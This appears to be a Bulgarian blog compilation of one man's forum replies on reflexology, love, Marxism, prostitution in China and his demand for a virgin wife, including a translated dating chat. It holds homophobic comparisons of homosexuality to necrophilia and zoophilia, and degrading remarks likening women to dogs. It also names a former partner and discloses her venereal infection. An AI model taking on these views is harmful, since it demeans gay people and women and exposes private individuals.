2. При това положение МОЖЕ, ИМА ВЪЗМОЖНОСТИ да се въздейства на тази базовост (кълбото от условни рефлекси, както и върху останалите, ВРОДЕНИ неща като темперамента), обаче, тука идва моментът на Андонов, че, ако няма ВЪТРЕШНА МОТИВАЦИЯ (това е на психологичен език, за да е ясно по-точно какво се има предвид), трудно ОТВЪН ще я промениш. Един от методите за това е класическото "МОРКОВ и ТОЯГА", т.е. КОНДИЦИОНИРАНЕ - за нещата, които харесваш даваш награди, за нещата, които не харесваш даваш негативни преживявания/усещания... Обаче, при липса на сътрудничество, разбиране и пр. от нейна страна всичко това може и да не доведе до желаните резултати, най-малкото, защото може да не са достатъчни стимулите.
3. В този смисъл - да, условни и безусловни рефлекси си е поведението (рефлексът, реакцията ДА НЕ ЗАБРАВЯМЕ е нещо, което става както от ВЪНШНИ, така и от ВЪТЕШНИ дразнения) основно, но изменението им, без сътрудничеството на самата жена, е работа, която си е къртовски труд, граничещ със Сизифов.
Така че няма никакво противоречие между Андонов, Сеченов, Павлов и пр. Всички са прави в различни аспекти.
"КАК ЧРЕЗ УСЛОВНο РЕФЛЕКСο МОЖЕ ДА СЕ ФОРМοРА ЦЕЛ?"
Целите се формират, за да задоволяват потребностите. Целеполагането и целепостигането е точно осъществяване на РЕФЛЕКСНОСТТА. При животните също има цели, за справка.
"ο съвсем между другото, в МКБ-10 НЯМА КОД ЗА ХОМОСЕКСУАЛοЗЪМ! οмало е такъв в МКБ-9 (302.0), но в МКБ-10 е отпаднал. Тъкмо напротив, на с. 186 от последното издание на български на МКБ-10 (от 2008 г.) има специална забележка: "сама по себе си сексуалната насоченост не трябва да се разглежда като разстройство"."
Хм. Ако това е вярно, аз си оставам на МКБ-9. То с тези темпове на деградация в МКБ-11 може и педофилията да не приемат за разстройство, щом като "сама по себе си сексуалната насоченост не трябва да се разглежда като разстройство"...Ами дай да не разглеждаме като разстройство и тези, които правят секс с умрели (некрофилия) или с овце (зоофилия)?...Харесва ми определението НОРМАЛЕН НАГОН, НО С οЗВРАТЕНА НАСОЧЕНОСТ. Същото е като хората, които ядат екскременти или пръс. НОРМАЛЕН НАГОН (ГЛАД), но οЗВРАТЕНА НАСОЧЕНОСТ.
132. Нямам evidence ли? Хайде, че нямам! Аз само снимките да ти покажа, които ми е пращала от развратни купони и най-малкото ще й видиш килограмите. А и като се поразровя из архива може да намеря доста чатове, мейли. Ще тръгна сега да лъжа за някаква си ненормалница! От какъв зор? Заставам си зад всяка от думите, която съм казал. А и тя, не й бери гайлето, се гордее с тези си дела и няма да тръгне да ти се обижда лично на тебе, най-малкото. Отразяването на факт не е обида. А и, ако искаш да не става дума за минали неща, не се рови в миналите ми постове, иначе нямам как да не става дума.
"че по какъвто и начин да си получил някаква информация за нея, е била толкова основателна, че да повярваш и да си направиш изводите за нея, като капак, че ти е изтрила само един пост и те баннала."
ЛИЧНО сме си писали/чатили. А аз се доверявам на личната комуникация. НЕ МИ ИЗТРИ ПОСТ, а беше наложително, понеже приятелят на другарката го прочете, а тя не желаеше, нито пък аз, да се стига до там.
"Та, това твое заключение за тази жена не го приемам."
Даже и след тези обяснения ПАК да не го приемеш, най-много... знаеш - да си легна с чорапите или да влезна гол в банята и, най-опасното, да скоча от чергата на пода.
"И само ще спомена, че от това което съм чела написано от нея, си изглежда просто прекрасна, интелигентна и интересна жена..."
Прочети споровете с Хамил и ще видиш как прекрасното умира в сблъсъка с действителността. А Хамил си е един обикновен философ, който даже загуби спор с един юрист-политолог за Кант.
"Но това вече си е наистина лично, и не искам да го коментираме, запази си изводите относно тази история за себе си."
ДОБРЕ, НО ТОГАВА НЕ ИСКАМ И ТИ ДА МИ ПИШЕШ КАК СИ ПОПАДНАЛА НА "ЕДНА ЛУДА", КОЯТО ПИСАЛА ЗА МЕНЕ, ЧЕ СЪМ НЕЩАСТНИК, ПЪК ТО СЕ ОКАЗАЛО, ЧЕ Е МЪЖ и пр. В противен случай - който се хваща на хорото, ще си го играе до край. То много лесничко така да се събудят стари спомени, а като рукнат асоциациите и да си подбираш само тези, които ти се струват лично-изгодни/удовлетворяващи.
"отношението на Dalai към жените..."
Отново ще припомня няколко базови неща за Далай и за отношението му към жените:
а) Той е магистър-философ, поет, актьор (4 филма + тв-предаване), журналист (3 вестника), психолог (собствен терапевтичен метод и задочен стаж в психологическа служба), владее няколко езика и има интересни хобита. /уебмастър, напоследък, както и писател, когато има време; също и спортуващ, макар и не спортист. 8)/ В рамките дори на този форум Далай минава за една полу-енциклопедична личност, която има доста многостранни познания, както в дълбочина, така и в широчина.
б) Според неговият РЕАЛИСТИЧЕН ПОГЛЕД жените са САМКИТЕ НА ХОМО САПИЕНСА и като такива споделят всички характеристики на САМЦИТЕ на ниво ВИД, РОД. Т.е. аз нито надценявам, нито подценявам някое си същество, понеже било жена.
"АНТИ-ДЮРИНГ" си е супер-весела, поучителна книжка и няма да изгубиш нито секунда от прекараното си време с нея. Радвам се, че ще я прочетеш. Чете се лесно и бързо. Няма трудна терминология, още по-малко за професионални философи като тебе.
"Филмите могат и задават чудееееееесни и леееееееесни философски интерпретации."
Филмите са част от ИЗКУСТВОТО. А изкуството е вид форма на културата. Във филмите има светогледност. Но, доколкото, не всеки сценарист/режисьор е философ или, поне, нещо свързано с философския факултет, резултатите могат да са нищо повече от популярна философия, която нас няма как да ни удовлетворява. Същото се отнася до литературата. Примерно от Чехов можеш да научиш доста неща, отделен е въпросът доколко са философски. ОТДЕЛНО доста филми изпълняват ПРОПАГАНДНА РОЛЯ и са имплицирали определени убеждения на тези, които са ги правили или /и/или/ пък направо са направени, за да привлекат повече пари...
Така е. Всякаква фелицитология е обречена на неуспех, защото щастието е субективна величина.
"Ами ако се влюбя в този пред мен."
Като се влюби някой и не става, и много често вземе, че раз-люби /влюбване и разлюбване/. Много хора забравят, че има както влюбване, така и раз-любване. Или както е казал психологът Цанко Цанков "Има както "ОБИЧАМ ТЕ!", така и "НЕ ТЕ ОБИЧАМ ВЕЧЕ!""...
"ама така истински комунисти... рядкост са."
Аз също еволюирам (както Ники, който сподели, че в момента се дистанцира до някаква степен от казаното преди 10 години), та се осъзнавам повече като СОЦИАЛИСТ и ЛЕНИНИСТ, но не и като КОМУНИСТ и МАРКСИСТ. /В днешно време имам такова отношение към нещата: харесвам много от социализма и комунизма, но не 100% харесвам всяко нещо казано от даден класик на социализма/комунизма, т. е. не съм "сляп следовник", а пречупвам нещата според моя си научен светоглед./ Най-малкото не ми харесва постулатът на Маркс, че даже и жените ще са общи в комунизма, че ще изчезне семейството като обществена единица. Много ненаучно е това. /По-късно съм мислил още по въпроса и мисля, че е възможно да има общественост изградена и на такъв несемеен фундамент./ Отделно за управлението на една страна смятам, че най-добрата форма е ТЕХНОКРАЦИЯ-МЕРИТОКРАЦИЯ, а не диктатура на пролетариата, защото пролетариите не са способни да управляват добре, ако не са обучени и интелигенти /а и отговорни, морални/. Отделно, не всеки пролетарий заслужава да е управленчески кадър. /защото не всеки е отговорен, морален и способен./
Скоро мога да напиша статия и затова в сайта си : /вече не съществува, затова премахвам линка/. Засега там имам само две. Едната заслужава Нобелова по икономика :)
"-той щом знае какво е ОБЩО, ОСОБЕНО, ЕДИНИЧНО, аз не е нужно да знам такива неща, все пак е мъж, ще разчитам на него."
Е как така?! Диалектиката е всеобща и е свещен дълг, и чест за всяка жена, също, не само за мъжете! :)
"Над 300 жени ЗАД гърба си! ! ...хъм ... (какво ли си мислиш, че ще
прокоментирам от този интересен факт? .. цъ- няма да е бройката. Сори. И 3000 да беше написал все тая, не ми ли изпратиш сканиран списък с име, дата и подпис .... няма как да съм сигурна, дори почвам да се притеснявам дали не си девствен (шега), ама прекали с бройката, моля теееееее!)"
Прекалил съм аз... В седмицата, като съм ерген, поне 2-3 проституки минават през кревата ми или аз през техния (зависи кой има по-добър терен), та даже може и да съм занижил неумишлено. Проститутките са едни такива жени за ОБЩЕСТВЕНО ПОЛЗВАНЕ, които се използват от всякакви хора. /Използвам примера теоретично, за да обоснова, че числото 300 не е много голямо, ако се впрегне в изчислението фактора за "платената любов"./
Даже има икономически труд на тема : "Защо един архитект е по-вероятно да си поръча проститутка, отколкото една проститутка - архитект?"... /Всъщност става дума за книгата "Големите измами" с автори Стивън Левит иСтивън Дъбнър. Стивън Левит е икономист. Та в книгата се обръщало внимание на въпроси като "Защо е по-вероятно архитект да си поръча проститутка, отколкото обратното?", "Как влияят абортите върху престъпността?" и "Кое е по-опасно за децата - пистолетът или плувният басейн?"/
"а и един душ гел ще ми отива за 2-3 дена, знайш колко кинти са това"
В Китай си купуваш 2 литра такова за 4 лева и караш поне месец с тях. Ама Китай си е Китай - втората икономическа сила в света... /Китай вече е първата икономическа сила в света. Говорим за общо БВП, не за БВП на глава./
Мда. Троцки е по-марксист от Сталин...
За Че-то един канадец ми спори, че бил недостоен, защото като го хванало ЦРУ-то и преди да го убие онзи се молил за живота си. Хм! Аз пък му рекох, че първо Че-то никога не се е имал за комунист през зрелия си период, защото за него "Маркс е остарял", а за революционер. Отделно - няма нищо лошо в това да опиташ да оживееш, за да може после пак да си революционизираш, примерно. Разумен егоизъм - социалистическа теория на Чернишевски! /По-късно видях и друга, по-героична версия за залавянето и смъртта на Че Гевара - https://bg.wikipedia.org/wiki/Че_Гевара#Залавяне_и_смърт (https://bg.wikipedia.org/wiki/Че_Гевара#Залавяне_и_смърт). И тя звучи правдоподобно. Както и да е. Аз предпочитам мирните революции, а и съм писал, че често след каквато и да е революция идва контрареволюция, и революцията се оказва безсмислена./
"Пс. Ники, а ти! С твойто включване, направо си ме вдъхнови. Благодаря ти добри човече."
Ами и аз мислех, че не би се заинтересовал от психолого-диалектически-антропологични коментари, със социалистически и научен привкус, но, явно наистина се е променил след 10 години и вече обръща внимание на всичко. И аз се зарадвах, че е чел!
133. "Георги, нямах предвид, че ми се подиграваш или че не си коректен, а че твърде много надценяваш това, което съм казал някога. Благодаря ти, но, за съжаление, нещата, които съм казвал, съвсем не са оригинални, както не е оригинално и голяма част от онова, което мисля и казвам днес :) Трудно нещо е оригиналността :) - човек е като "без опора" в търсенето да я постигне (това, като допълнение по въпроса за нищото в друга тема тук :) )
А що се отнася до темата "върху отделните аспекти на любовта" - твърде трудна е такава тема за стар човек като мен :) Ще стана за смях сред млади хора :)"
Олеле, Ники е станал ЕЙДЖИСТ?!!!! Той свързва стойността на познанието с възрастта! ;) Шегичка.
Много ми е приятно, че не си се засегнал от милите ми спомени за тебе/нас.
Относно оригиналността - чиста оригиналност днес е почти невъзможна. То е ясно, че човек ЦИТИРА НЯКОЙ или прави СМЕСИЦА от цитати, или ИНТЕРПРЕТИРА нещо казано. Понякога пък ПРЕОТКРИВА неща, които отдавна са казани, без да знае за това. Обаче в нашите скромни биографии, субективно ние намираме оригиналност в това, което е НОВО за нас. Спомняш си, предполагам, един семинар, където се спореше дали НОВОТО е обективно или субективно, та аз доказах, че е субективно с примера :
"За един дивак самолет в небето може да е НОВОСТ, но за нас е отдавна известен факт, че има самолети."
И много важно - ОРИГИНАЛНОСТТА не е самоцел, нито самоценност. По-добре човек да е неоригинален, но прав, отколкото оригинално-погрешен. Пример - някои налудни идеи на шизофреници са оригинални, но не са нищо ценно.
(Следва...)
-
Нататък:
134. Аз й казах, че е книга на Енгелс, тя нещо е позабравила или е имала предвид, че по-предпочита Ленин, но с оглед на липсата на Ленинова философска литература, ще се примири и с някой си Енгелс. А това е похвално. Не е като един бивш приятел, който бъркаше Енгелс с Кърт Енгъл (олимпийски шампион по борба на САЩ и настоящ кечист). /Не съм му следил напоследък развитието на Кърт Енгъл, но със сигурност знам, че и актьор стана и играе в няколко филма./
В Китай проституцията е разрешена де факто, защото има сериозна диспропорция мъже - жени (над 5 % в полза на мъжете) и без жени за общо ползване, които са официално "фризьорки", "масажистки" и пр. ще настъпи бум на сексуални престъпления. /Така ми беше обяснено от една китайка, която казваше, че учи право./ Отделно, частни лица, са ми казвали, че така икономиката се стимулирала повече. /Имаше и разни, които говореха как като се премахнали тези услуги от един град напълно и икономиката започнала да се свива. Не съм се задълбочавал над тези проблеми и само предавам какво са ми казвали. По принцип този сектор (независимо дали е разрешен или забранен по света, си е част от икономиката, защото става дума за услуги (макар и по-особени, т. е. сексуални услуги) и е нормално да влияе малко или повече на икономическите показатели.)/
Когато ми дойдеш на гости ще те разведа по всички улици с проститутки и сама ще се убедиш дали има арестувани клиенти и проститутки, както си мислиш. Те даже реклами си слагат на билбордове, ти за арести ми говориш... /По местна телевизия дори показваха репортаж за това как много такива малки бордеи съществуват и не ги спират. В същото време, де юре, проституцията е забранена в Китай и по медиите редовно има и новини за заловени проститутки./
Колкото до китайките от кастинга - те не пасат трева и знаят, че всеки ерген си ги посещава жените за обществено ползване. /В същото време има и китайки, които не са много запознати с тази сфера и едва ли не си представят всеки мъж като монах, ангел, човек който не изпитва полово влечение, ако не е влюбен. Зависи от степента на образованост и осведоменост./ Наивно е да смятаме, че човек с години може да откара на "ръкоделие", когато има финансовата възможност да има нормален сексуален живот. /Не твърдя, че ползването на секс-услуги е най-нормалното в сексуалния живот, а само го сравнявам с мастурбацията, спрямо която е по-естествено - мастурбацията не е полово сношение, а при платените секс-услуги поне имаме (теоретично) някакъв вид полово сношение./ Срещу една от детските градини, където преподавам има цели 3 публични дома за "масаж". Просто не се уточнява, че е мануален, орален и вагинален този масаж... Мда. /По-късно тази улица беше разрушена, за да се застроява с нови сгради, но и в днешно време има такива парадокси (относително казано, защото за някой това може да не е парадокс) - детски градини и на няколко метра наоколо - "масаж"./ Колкото до гражданството - искам го, да. Но, както е казал Хайтов - едно е да искаш, друго е да можеш, а съвсем трето е да го направиш... Човекът е, както всяко останало животно, е искащо "създание".
А тайните служби, да знаеш, си нямат друга работа и само с ваш Гошко се занимават - какво яде, какво пие, къде си слага... третото краче ;) ... Хората са заети с доста по-важни задачи. /Наистина много се възмущавам, когато хората си измислят врели-некипели за "страшните" тайни служби в Китай и за "голямото нарушаване на правата на човека" в Китай и други измислици, които не показват някаква точна реалност в Китай, а само раздуват нещата и демонизират Китай. Ясно е, че КНР не е рай и си има своите проблеми, но в същото време е пределно ясно и това, че немалко чужденци и много китайци живеят спокойно и щастливо в Китай и нямат никакви проблеми! Някои дори успяват да забогатеят добре./ Много ми харесва Ники като каже за задачата на този или онзи философ. :) Та и аз ти казвам, че задачата на тайните служби определено не е следене на обикновен философ, който учителства тук-таме. /Продължавам да си мисля, че нелепите обвинения срещу тайните служби на Китай, че се занимават със следене на обикновени хора, както и твърденията, че Китай бил "полицейска държава" не почиват на никакви реални факти. В същото време аз не съм работил в такива служби и не мога да твърдя нищо със сигурност, но от това, което виждам и чувам като обикновен гражданин, не оставам с впечатления за следене на обикновените хора, нито за някаква "полицейщина"./
135. Няма проблеми, но, просто настоявам, ако някой е лош човек да си казваме, че е лош. Аз съм за адекватното, по КОРЕСПОНДЕНТНАТА ТЕОРИЯ ЗА ИСТИНАТА, отражение на действителността. По същия начин и аз не се срамувам да си кажа, че съм "само" магистър, че съм по-нисък от тебе, че като нямам жена/приятелка посещавам хора, които са "така добри", за да не се стискат ;) и да предпоставят свежа плът срещу нормално обезпечаване с УНИВЕРСАЛНА СТОКА (парите)... В този смисъл давам светъл пример, ако щете - ПОЧИН (тази категория на етиката малко хора я знаят!) за честност, откритост и ПРОЗРАЧНОСТ. Така се пести време, най-малкото, а и нерви. Да не говорим за бъдещи разочарования.
МОЕТО отношение към жените, БИ ТРЯБВАЛО (в благопожелателен смисъл) да е ВСЕОБЩО. Защо? Защото е правилно, както е казал Ленин по отношение на Маркс-Енгелс. Пак повтарям :
1. ЧОВЕКЪТ се състои от МЪЖЕ и ЖЕНИ.
2. ЖЕНАТА е ЖЕНСКИ ЧОВЕК.
3. ЧОВЕКЪТ СИ Е ЧОВЕК, независимо от пола.
4. ЧОВЕШКИ НЕЩА КАТО - морал, етика, професии и пр. НЯМАТ ПОЛ.
Това е едно наистина философско-научно, СПРАВЕДЛИВО отношение към жената от страна на мъже и жени. Така се премахват всякакви попщини (че жената била по-малко от мъжа, понеже е по-късно направена от ребро), сексизми (че жените са по-крехки, по-страхливи, по-лоши шофьори и пр.) и други глупави неща.
Еманципацията във всяко едно общество показа, че женският човек не е с нищо по-добър или по-лош от мъжкия човек. Така че никакво НАД- и ПОД- ценяване на база ПОЛ!!!
Относно аспектите на любовта, наистина няма какво да добавя. Базовото е това, че любовта се случва на всички нива и колкото по-сложно е устроено едно същество, толкова по-сложна е и любовта му.
-
Да поразнообразя с други теми, не толкова философски. Ето мой пост по отношение на любовен проблем:
"Нещата се променят. Вече, по някакви причини, не го кефиш. Има си 1 тон причини по които може да си спряла да го кефиш : омръзнала си му, намерил си е друга, нещо не харесва в тебе по принцип и вече му е кипнало... Питай го пак, обещай му, че няма да му се сърдиш, ако ти каже истината и поне ще си наясно.
Който много се предоверява на един човек и чертае планове за бъдещето, често може да се разочарова. Хората се променят."
-
И по друг подобен повод: "Трудно се отговаря на въпроси за мотивация..." :)
-
Отновно по полуфилософските и философските. Много материал, ей!
136. (Писано през 2009-та, да уточня, за да не стават недоразумения):
"Добър въпрос, но трябваше да го адресираш експлицитно към Далай."
А, аз си го имплицирах даже и му отговорих; то беше ясно, че е мое задължение. Казвам ви, откакто Калчев си ми резна (СПРАВЕДЛИВО!!!) от оценката по Дипломната, поради това, че съм забравил да спомена ОТГОВОРНОСТТА (защото без отговорност - няма и не може да има любов) ставам все повече и повече отговорен философ, мъж, приятел...
"Защото, наистина, ако разглеждаме човешкото поведение единствено като набор от безусловни и условни рефлекси, няма как да го разграничим от животинското."
А то и не трябва да се разграничава много от животинското. То си е НАД-животинско, но не е НЕ-животинско (надживотинско, но не и неживотинско; просто висше животинско). Просто е малко по-високо градирано, на количествено равнище, не на качествено. /Зависи как ще се дефинира "качеството", разбира се. Ако в него се включат високи технологии като компютри и виртуални реалности - тогава може да се говори и за "качествено равнище"./
"И тъй като в някои много важни аспекти ние ОЧЕВИДНО се различаваме от животните (колкото и да тренирате едно куче, то никога няма да се научи да чете или да кара самолет, или да построи такъв)"
Аз познавам и доста такива хора, които не можеш да ги научиш каквото и щеш да правиш. В същото време, добре, спирам се на примера с кучето - КАНИС ФАМИЛИАРИС (Canis familiaris) - ограниченията му са по-скоро анатомични, отколкото интелектуални, за да прави и по-човешки неща. Ето пример с куче, което е научено да чете прости команди (разбира се, срещу наградки, но то и с децата е така - ако не им даваш поощрения и/или не ги заплашваш няма да вземат от собствено желание да четат...): http://www.youtube.com/watch?v=fwb2wqFh_1g Четенето става по УСЛОВЕН РЕФЛЕКС. Примерно аз съм си създал условен рефлекс да мога да прочета "汉语", обаче на теб или някой друг нищо не му "говори" това, с което и се доказва лесно, че езикът е само инструмент и означава по конвенция.
"то, следователно, нашето човешко поведение е нещо повече от съвкупност от рефлекси."
Рефлексите са основното. Но, да, както и при животните, има и други нещица в поведението, които споменах.
"На това разсъждение му се вика modus tollens (ако от А следва В и не-В е вярно, то от тук следва не-А), ама Далай май е поизтървал такова просто нещо като логиката от "широкото" си и "дълбоко" образование :-)."
Нищо не изтърва той. Защото е алчен за знания. Без всякакви модуси и квантори аз поднасям факти, просто, защото се запознавам и с разни нещица като ЕТОЛОГИЯ, примерно, които дават повече информация за нас, отколкото да речем произволно-избран философ-идеалист.
"че каквото и да кажеш по тази тема Ники, то едва ли ще успее да конкурира по смешност разсъжденията на Далай за тоягата и моркова."
Като син на психиатри и то цели две поколения, най-отговорно заявявам, че доста олигофрени (дебили, най-вече, защото имбецилите и идиотите много не знаят за какво иде реч) намират за смешно какво ли не. Като преподавател на дечица от 2 до 17 години също заявявам отговорно, че колкото е по-малко едно дете, толкова по-реагира със смях на почти всичко, което е НЕОЧАКВАНО за него. Т.е. не присъства в опита му. А сега нека да разясня за ТОЯГАТА И МОРКОВА:
Този въпрос за пръв път във философията е засегнат от китайската школа ФАДЗИЯ (Легистите). Предполагам, че тука няма повече от 2-ма души, които да са запознати ο С КИТАЙСКА ФИЛОСОФИЯ; просто в България философията си остава Европо- и Западо-центрирана, но ненапълно, понеже, ей-сега да питам да ми кажете ЕДИН Австралийски философ и няма да можете! А аз знам Питър Сингър и скоро мисля да пиша статия относно ОРИГИНАЛНОТО му, но неправилно философско течение. Та легистите са спорели дали трябват поощрения (морков) или може само с наказания (тояга), за да се създаде добрия гражданин. Не знам дали сте учили, но най-простия и базово психологически, биологически механизъм е УДОВОЛСТВИЕ-НЕУДОВОЛСТВИЕ и на тази база се проявяват, създават доста неща, включително и в любовта. Няма нещо смешно в това за истинския философ и/или учен, ако погледне как се формират любовни отношения именно на тази база - удоволствие-неудоволствие. Ако все още не вярвате почвам с примери, докато по индукция не разберете.
"Далай, драги, на теб май не ти трябва жена, на теб ти трябва кучето на Павлов."
1. Не знаеш сигурно, но аз ще ти кажа, че Павлов доказва, че 4-те базови темперамента се срещат както при кучетата, така и при жените (женския човек) и мъжете (мъжкия човек).
2. Познавам някои женски човеци, които са по-зле даже и от кучета, които не са се подлагали на обучения и/или експерименти като Павловите. Същата мисъл е имплицирана в песента на Елвис - "Ловджийско куче", където той пее за нещо друго, не за обикновена кучка ;) и казва така :
"Ти никога не хвана даже едно зайче, затова не си ми приятел." (В една от версиите. Песента има дълга история. Повече за нея в Уикипедия на английски - https://en.wikipedia.org/wiki/Hound_Dog_(song) (https://en.wikipedia.org/wiki/Hound_Dog_(song))) Искам да кажа, че като сравниш една кучка и някои лоши женски човеци, които знаят само да :
-спят
-ядат
-пият
-правят "любов"
-гледат ТВ
и се оказва, че кучката може да е доста по-полезна в редица отношения.
3. На мене ми трябва свястна жена, но явно този идеал не отговаря на твоята природа и ти си решила да го осмееш. Но така се самозлепоставяш, защото в моя идеал няма нещо обективно-осъдително. Ако има - отвори отделна тема, където с удоволствие ще обсъдим нещата. Както всеки е забелязал - чел съм доста, информиран съм добре и използвам в споровете си не само философия, но и наука, което ме прави коректен и успешен мислител.
"Добре, че китайките дето са се строили за кастинг при теб не могат да четат български, че ако се зачетат в този форум опашката сериозно ще оредее."
Невярно мнение. Всичко, което казвам на български достатъчно-добре мога да изразя и на китайски, а и на английски. Всяка една е наясно с мнението ми. Обаче, представи си, ме имат за ценен, все пак:
- не пия много (само биричка, а тя китайската е 3 пъти по-ниско алкохолна от българската, няма майтап! Всъщност има различни бири - някои са по-слаби, някои по-силни. Основно си купувам такива с по 4% (четири процента) алкохол. Намалих драстично бирата през последните години, но пия качествени вина по 1-2 пъти месечно. Силен алкохол не близвам.)
- не пуша (нямам никакво намерение да пуша)
- не изневерявам
- имам добро образование
- заплатата ми е прилична
- надарен съм с кестенява коса, светли очи и почти бяла кожа (те обичат такива)
- готов съм да давам 50 % от доходите си на съпругата си, без претенции за какво ще ги използва.
- нямам нищо против аз да поема грижата за готвене, чистене, пране и дете. (В последните години се ориентирах към чайлдфри-то, т. е. доброволното бездетие.)
- хобитата ми са градивни - наука, кунг-фу, философия. (Добавям и интернета.)
- романтични жестове правя неуморно - стихове, цветя, рисунки, интернет-картички...
Поради това, че останалите мъже рядко съчетават всичко това, някои хора решават да се наредят на опашката. А, ако не беше вярно, аз няма да го казвам. И не си мисли, че казвам само хубавите неща за себе си. Ако си спомняш - всеки знае, че съм разведен, както и, че последната ми приятелка ме дари с венерическо заболяване (добре, че беше само гъбично, а не някой сифилис, че щяхме съвсем да се о$ерем!)
"А сега сериозно, Далай, казвам това наистина от най-добри чувства: може да имаш 300 или 3000 жени зад гърба си, но е очевидно, че в нито една от тях не си бил влюбен сериозно."
Хммммммммммм, ПОЧТИ ВЯРНО! В смисъл - повечето от сериозните ми любови не бяха на ниво ИМАМ ТЕ. Т.е. бяха си и си останаха НЕСПОДЕЛЕНИ. Но последната, с венерическото заболяване - Ли Пинг (李萍) се казва, ето ни тука заедно: (снимката премахната, защото не искам да се показвам из нета без необходимост), наистина бе удостоена с ИСТИНСКА, СЕРИОЗНА ЛЮБОВ. На Николай Турлаков в мейл даже споделих, че раздялата ми с нея ме доведе, за пръв път в живота ми, до сериозна РЕАКТИВНА ДЕПРЕСИЯ и 2-3 седмици бях жив труп, но се оправих за моя радост. Вярно, че беше любов базирана на ЗАБЛУДА, ако мога да цитирам Ванчето си любимо... Или, както каза, един китайски приятел "Ти обичаше много, но WRONG!" :) /"То обичаше много, но погрешно!" (Погрешния човек.)/
"Ако такова нещо ти се беше случвало, независимо от това какъв е бил краят на тази любов, щеше да знаеш, че LOVE IS UNCONDITIONAL." (В смисъл, че любовта била без условия; безусловна.)
ДО ВРЕМЕ... Рано или късно, ако мъжът ти/приятелят ти, те спуква от бой без причина, вони на какво ли не (не се къпе) и пр. неща, които докарват ПОГНУСА, любовта ти към него ще се АМБИВАЛЕНТИЗИРА, т.е. ще стане ЛЮБОВ-ОМРАЗА, а накрая даже може да си се превърне в чиста омраза. Или пък да станеш безразлична към него. Или някаква друго амбивалентно състояние от рода на МЪКА-ЛЮБОВ, но няма да е любов. Нямаш си на идея колко много СЪЗНАТЕЛНО, НЕСЪЗНАТЕЛНО и ПОДСЪЗНАТЕЛНО хората и всичко живо си е доста CONDITIONAL. (С условия; условно.)
"Оставям те да поразмишляваш какво точно означава това, но се боя, че за да го разбереш трябва да го преживееш."
Преживял съм го с онази, която обичах над 10 години, с още една, която обичах над 5 - ето я и нея тука - Елизабет се казва /както казах, вече не искам да показвам снимки - нито мои, нито на други хора/ ,както и с последната, заразоносителката, с която тръгнах по идея на самата Елизабет (която после реши, че съм я предал... т.е. не те обичат, пращат те при китайки, ама после - "Оле бате Гошо, ама как така ти нали ме обичаше?!"... Не знаят какво искат хорицата, ама не са само те така...)
Мерси за отделеното време. Аз също съм добронамерен и се радвам, че можем да си говорим, независимо от различното ниво, различните интереси и различните гл. точки. В този смисъл - надявам се да не се засегнеш от някои по-резки думи казани по повод на твои. Такъв си ми е стилът.
137. Заблудата може да е синоним на грешка или пък да се разбира като НАБОР ОТ ГРЕШКИ. Зависи от това как ще си я мислиш като понятие. Някои грешки струват по-скъпо, отколкото редица заблуди. Въпрос на късмет...
138. Абе човек, какви са тези "абревиатури" Щ, ЕР МАЛЪК (Ь) и пр.?! Говори с истински имена като мене. В един клип хумористичен кавказец казваше така: "КЪДЕ БИЕШ ПО ФЛАНГОВЕТЕ?! В ЦЕНТЪРА, В ЦЕНТЪРА ПРИКАЗВАЙ!!!"
Следва.
-
Да продължа с още сега.
139. Специално до Лилия и Ваня един пример от последните 24 часа как редуцирах сам опашката от кандидатки на база на това, че за повечето китайски ергени ДЕВСТВЕНОСТТА ВСЕ ОЩЕ ИМА ЗНАЧЕНИЕ:
Разговор в Нет-а с момиче, което работи като продавачка, харесваше ме за партньор, знае как се прави любов с мъже, но не знае какво е "e-mail", та се наложи да работя с китайска чат-програма. Случи се следният дълбоко-философски диалог:
Бате Гошко:
你是处女不？ (Девствена ли си или не?)
Кандидатката:
不是，那你是处男吗？ (Не съм, мигар ти пък си девствен?)
Бате Гошко:
不是，可是我已经需要处女的女朋友。后来-老婆。你不是处女的，所以，我觉得我们不要见面吧。不好意思！
(Не съм, но вече изисквам девствена приятелка, впоследствие - съпруга. Ти не си девствена, така че, усещам не трябва да се срещаме повече. Съжалявам!)
Кандидатката:
况且你轿离过婚 (На всичко отгоре си и разведен.)
Бате Гошко:
我的前妻不是处女，后来-有问题。我的前女友也不是处女。后来-有问题。所以中国的男人告诉我我应该在找处女的老婆。所以我已经相信中国的男人。处女的女人-更好，更干净。就我这一个意思的。 (Бившата ми жена не беше девтсвеница и с нея - проблемация! Бившата ми приятелка и тя не беше - впоследствие - пак проблемации! Поради тези случки китайците ми казаха, че трябва да си търся девствена жена, както те правят. Така че вече се доверявам на китайските мъже. Девствените са по-добри, по-чисти. Това е основната мисъл.)
Кандидатката:
要想找个处女的老婆是一件弿难的事 (Да искаш да търсияш девствена съпруга си е една трудна работа.)
就像我想找一个处男的老公也是一件弿难的事 (Прилича ми на това аз да взема да си търся девствен съпруг-същата трудна работа.)
Бате Гошко:
没事。我需要处女的。中国的男人都是一样的。他们说 - 处女 = 好的。 我同意！ (Нямам грижи с трудностите. Желанието ми е за девствена. Китайците и те така желаят. Казват хората девствено = добро. Съгласявам се!)
我已经不要干的女人。我需要干净的，处女的。对不起。 (Вече не ща изтаковани жени. Искам чиста, девствена. Извини ме.)
Кандидатката:
可是做人也是要讲道理的，我觉得我自己没有资格去要求对方 (??? НЕ МОГА ДА ГО ПРЕВЕДА - за някакво ставане на човека говори, някакви етичности... твърде изненадващо за човек, който не знае какво е имейл в днешните условия, но, така или иначе, се декласира от списъка ми, въобще не си давам зор да го превеждам. Прагматично действам. Сега обаче, докато прилагам тук, мога да го преведа, защото за тези години китайският ми е понапреднал, а и ми е интересно да знам за какво е ставало дума - казва така "Но, достойния (истинския) човек трябва да говори рационално/обосновано, аз мисля че самата нямам право (основание) да питам другия.")
Кандидатката:
你没有必要跟我说对不起 (Няма нужда да ми казваш "Извини ме.")
那我希望你能找到一个处女的老婆(Е, надявам се, че можеш да намериш една девствена съпруга.)
Бати Гошко:
谢谢！886！ (Благодаря! Чао-чао!)
-------
Накратко - защо при положение, че в общество нещо като девствеността не е девалвирано и повечето мъже си намират девствени, само аз да се прекарвам с недевствени, дето на всичко отгоре натрисат и венерически болести? Просто, ясно и логично, както е казал Вапцаров! (И до ден-днешен си ми е страшно, само като си го помисля, какво следва ако човек, който е вече имал сексуален опит и е със сериозно венерическо заболяване ти го предаде и на теб. И до ден-днешен си мисля, че девствеността е ценност, без да казвам, че всяка недевствена/всеки недевствен е задължително заболяла/заболял или с нещо по-лоша/по-лош от девствените. Въпрос на гледна точка и въпрос на предпочитание.)
